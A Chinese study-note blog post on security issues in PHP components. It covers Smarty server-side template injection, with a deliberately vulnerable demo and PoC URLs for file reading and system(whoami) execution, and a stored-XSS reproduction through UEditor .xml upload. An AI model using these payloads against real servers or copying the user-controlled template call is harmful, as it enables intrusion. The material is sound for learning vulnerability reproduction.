模板编辑器(PHP)(小迪网络安全笔记~

devtools/2025/1/21 14:34:12/

免责声明:本文章仅用于交流学习,因文章内容而产生的任何违法&未授权行为,与文章作者无关!!!
附:完整笔记目录~
ps:本人小白,笔记均在个人理解基础上整理,若有错误欢迎指正!

1.4 🐘模板&编辑器(PHP)

  1. 引子:本章对PHP Web中所使用的组件及由组件可能产生的安全问题简单做一介绍,其中所介绍组件为,模板引擎Smarty和富文本编辑器UEditor。

  2. Smarty

    1. 什么是Smarty?
      我们来看官方给出的介绍,Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. → 简单来说,就是在PHP Web开发中,可能会用到的第三方组件,该组件实现了模板引擎的功能。
      这里再顺带介绍一下模板引擎,模板引擎的出现是为了分离一套源码中的表现层与应用程序代码。在开发时,可以使页面设计者与后端开发者分别专注于其本职工作,无需考虑其他,而当开发者想要修改模板或应用逻辑时,也无需额外考虑相互影响的问题。

    2. 接下来,通过简单的demo,来认识一下Smarty:
      注:1. Smarty支持PHP版本为 7.1 - 8.3。2. Smarty下载地址:https://github.com/smarty-php/smarty。3. 本文使用Smarty版本为3.1.38 & 4.5.5,PHP版本为7.3.4。

      {* Smarty *}
      <!DOCTYPE html>
      <html lang="zh-CN">
      <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>{$title}</title><style>body {margin: 0; display: flex; justify-content: center; align-items: center;height: 100vh; font: 16px Arial, sans-serif; background: #f0f8ff; text-align: center;}h1 { color: #4caf50; }.elephant { font-size: 100px; }</style>
      </head>
      <body><h1>{$body}</h1><div class="elephant">{$pic}</div>
      </body>
      </html>
      {* Smarty *}
      <!DOCTYPE html>
      <html lang="zh-CN">
      <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>{$title}</title><style>body {margin: 0; display: flex; justify-content: center; align-items: center;height: 100vh; font: 16px Arial, sans-serif; background: #f0f8ff; text-align: center;}h1 { color: #4caf50; }.elephant { font-size: 100px; }</style>
      </head>
      <body><h1>{$body}</h1><div class="elephant">{$pic}</div>
      </body>
      </html>

      该文件为前端页面文件,可以看到由html+css组成,且其标签中的值内容被替换为 {$变量名} ,用于smarty渲染。

      php"><?php
      require '../smarty/smarty-3.1.38/libs/Smarty.class.php';$smarty = new Smarty();$smarty->setTemplateDir('./templates');
      $smarty->setCompileDir('./templates_c');
      $smarty->setConfigDir('./configs');
      $smarty->setCacheDir('./cache');
      //$smarty->testInstall();$smarty->assign('title', 'Elephant');
      $smarty->assign('body', '这是一只可爱的大象!');
      $smarty->assign('pic', '🐘');$smarty->display('smarty3demo.tpl');
      

      该文件为smarty配置文件,使用smarty版本为3.1.38,其中templates目录存放需要渲染的页面文件,templates_c目录存放前端页面文件经smarty模板引擎渲染后的编译文件,assign用于替换页面文件中的变量,display用于指定需要渲染的页面文件。
      对smarty配置文件而非前端页面文件进行访问,访问结果如下:
      image-20250116201536174

      由smarty官方可知,最终为用户所提供页面的文件,并非用户所访问的smarty配置文件,也非templates目录下的页面文件,而是templates_c目录下被渲染后的编译文件,我们来看一下该编译文件:

      php"><?php
      /* Smarty version 3.1.38, created on 2025-01-16 20:27:18from 'D:\phpstudy_pro\WWW\PraDevelopment\phpdemo\element\smarty3demo\templates\smarty3demo.tpl' *//* @var Smarty_Internal_Template $_smarty_tpl */
      if ($_smarty_tpl->_decodeProperties($_smarty_tpl, array ('version' => '3.1.38','unifunc' => 'content_6788fb268b7b73_02769173','has_nocache_code' => false,'file_dependency' => array ('b704768be782dee972aac461ba4c6236eed18d66' => array (0 => 'D:\\phpstudy_pro\\WWW\\PraDevelopment\\phpdemo\\element\\smarty3demo\\templates\\smarty3demo.tpl',1 => 1737012300,2 => 'file',),),'includes' => array (),
      ),false)) {
      function content_6788fb268b7b73_02769173 (Smarty_Internal_Template $_smarty_tpl) {
      ?><!DOCTYPE html>
      <html lang="zh-CN">
      <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title><?php echo $_smarty_tpl->tpl_vars['title']->value;?>
      </title><style>body {margin: 0; display: flex; justify-content: center; align-items: center;height: 100vh; font: 16px Arial, sans-serif; background: #f0f8ff; text-align: center;}h1 { color: #4caf50; }.elephant { font-size: 100px; }</style>
      </head>
      <body><h1><?php echo $_smarty_tpl->tpl_vars['body']->value;?>
      </h1><div class="elephant"><?php echo $_smarty_tpl->tpl_vars['pic']->value;?></div>
      </body>
      </html>
      <?php echo "sjjjer"?>
      <?php }
      }

      编译后的文件为.php文件,在该文件中加入 <?php echo "sjjjer"?>,再次尝试访问smarty配置文件:
      image-20250116203613959

    3. ok,认识完smarty后,接下来我们聊一下使用smarty可能产生的安全问题。
      已知template_c下的php文件为最终提供服务文件,若渲染的页面文件用户可控,那我们是不是就可以利用模板引擎渲染执行我们所指定的命令呢?
      思路有了,我们来修改一下smarty配置文件,使display中的值也就是渲染文件可控:

      php"><?phprequire '../smarty/smarty-3.1.38/libs/Smarty.class.php';$smarty = new Smarty();$smarty->setTemplateDir('./templates');
      $smarty->setCompileDir('./templates_c');
      $smarty->setConfigDir('./configs');
      $smarty->setCacheDir('./cache');
      //$smarty->testInstall();$smarty->assign('title', 'Elephant');
      $smarty->assign('body', '这是一只可爱的大象!');
      $smarty->assign('pic', '🐘');//$smarty->display('smarty3demo.tpl');
      $smarty->display($_GET['view'].'.tpl');
      

      修改可控参数,实现任意文件读取,测试poc:

      /Smarty3Demo1.php?view=string:{include file='D:/ser.txt'}
      

      Result:
      image-20250116214916930
      实现命令执行,测试poc:(注:实现该poc,需smarty版本 < 3.1.39)

      php">/Smarty3Demo1.php?view=string:{function name='x(){};system(whoami);function '}{/function}
      

      Result:
      image-20250116221553323
      同样实现命令执行,测试smarty版本:3.1.18 & 4.5.5,测试poc:

      /Smarty4Demo2.php?view=string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}
      

      Result:
      image-20250116222836152

    本文对基于smarty所产生的安全问题介绍的比较简单,主要是漏洞复现,poc也仅列举了3个。若想进一步了解,可参考:https://xz.aliyun.com/t/11108

  3. UEditor

    1. 什么是UEditor?
      UEditor是由百度web前端研发部开发的富文本web编辑器。只不过目前已停止更新维护,最新版本也停留在了2016年8月10日所发布的1.4.3.3版本,项目地址:https://github.com/fex-team/ueditor
      同样,通过简单的demo,来了解一下UEditor编辑器

      <!DOCTYPE HTML>
      <html lang="en-US">
      <head><meta charset="UTF-8"><title>ueditor demo</title>
      </head>
      <body><!-- 加载编辑器的容器 --><script id="container" name="content" type="text/plain"></script><!-- 配置文件 --><script type="text/javascript" src="../ueditor/ueditor1_4_3_3-utf8-php/ueditor.config.js"></script><!-- 编辑器源码文件 --><script type="text/javascript" src="../ueditor/ueditor1_4_3_3-utf8-php/ueditor.all.js"></script><!-- 实例化编辑器 --><script type="text/javascript">var ue = UE.getEditor('container');</script>
      </body>
      </html>
      

      访问该文件,就可以看到被引用的UEditor编辑器
      image-20250117133527507

    2. UEditor的安全问题
      由于笔者本人水平有限,因此这里仅对由UEditor文件上传导致存储XSS漏洞做一复现(复现完,感觉这洞比较low啊。。。)。若想详细了解UEditor的安全问题,可以在网上找找别的大佬的文章。
      UEditor版本,php v1.4.3.3:
      image-20250117161025260
      burp抓一个图片上传数据包:
      image-20250117162805989
      接下来,我们尝试修改一下数据包,上传一些其他类型的文件:
      image-20250117175813848
      访问一下刚上传的test.xml文件:
      image-20250117180150951
      这里给出插入代码:

      <html xmlns="http://www.w3.org/1999/xhtml"><script type="text/javascript">// 当页面加载时,触发弹窗window.onload = function () {alert("FBI WARNING!!!");};</script>
      </html>
      

      至此,漏洞复现完成!至于为什么我感觉这洞比较low呢,是因为上传的文件类型仍有限制,不是你想传什么文件就传什么文件,文件上传类型遵循如下白名单:
      image-20250117180640689
      可以看到.xml文件就在白名单中,也就是说,即使不搞上面的那些花哨操作,直接上传含有恶意代码的.xml文件也是可以实现存储XSS的,而一旦从白名单中将.xml删除,上面的操作也会失效。至于该漏洞的应用场景,可能为开发者隐藏掉了ueditor中的附件上传选项,且白名单未做限制的情况吧。

    至此,本章内容结束!


http://www.ppmy.cn/devtools/152364.html

相关文章

远程桌面使用是TCP还是UDP?

什么是TCP和UDP&#xff1f; “远程桌面是使用TCP还是UDP协议&#xff1f;我通常在Windows Server 2012 R2服务器上使用远程桌面协议&#xff08;RDP&#xff09;进行连接&#xff0c;最近有些好奇&#xff0c;RDP到底是通过UDP 3389端口还是TCP 3389端口来建立远程会话的&…

【gin】gin中使用protbuf消息传输go案例

在 Gin 中使用 Protobuf 进行高效消息传输 Protobuf&#xff08;Protocol Buffers&#xff09;是一种高效的二进制序列化协议&#xff0c;广泛用于高性能场景的数据传输。相比 JSON&#xff0c;Protobuf 具有更小的体积和更快的解析速度&#xff0c;非常适合服务间通信或前后端…

车载测试和相关面试

资源放下面啦&#xff01; 记得关注❤️&#xff5e;持续分享更多资源 永久链接&#xff1a;https://pan.quark.cn/s/cf64f687a12f

179最大数(贪心算法)分析+源码+证明

文章目录 题目题目分析算法原理 源码证明 思考 题目 给定一组非负整数 nums&#xff0c;重新排列每个数的顺序&#xff08;每个数不可拆分&#xff09;使之组成一个最大的整数。 注意&#xff1a;输出结果可能非常大&#xff0c;所以你需要返回一个字符串而不是整数。 题目分…

SpringBoot2 + Flowable(UI)

文章目录 引言I 技术栈软件架构基于 Vue.js 和 Element UI 的后台管理系统工程结构II 依赖rest,logic,conf 的依赖工作流flowable jar包flowable-ui所需jar包III 配置jdbc 配置 nullCatalogMeansCurrent = true引言 I 技术栈 软件架构 前端基于vue 、element-ui框架分模块设…

Web开发 -前端部分-CSS-2

一 长度单位 代码实现&#xff1a; <!DOCTYPE html> <html lang"zh-CN"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document<…

计算机毕业设计Django+LSTM模型弹幕情感分析 B站视频数据可视化 B站爬虫 机器学习 深度学习 NLP自然语言处理 大数据毕业设计

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

完美解决phpstudy安装后mysql无法启动

phpstudy数据库无法启动有以下几个原因。 **一、**自己在电脑上安装了MySQL数据库,MySQL的服务名为MySQL,这会与phpstudy的数据库的服务名发生冲突&#xff0c;从而造成phpstudy中的数据库无法启动&#xff0c;这时我们只需要将自己安装的MySQL的服务名改掉就行。 但是&#…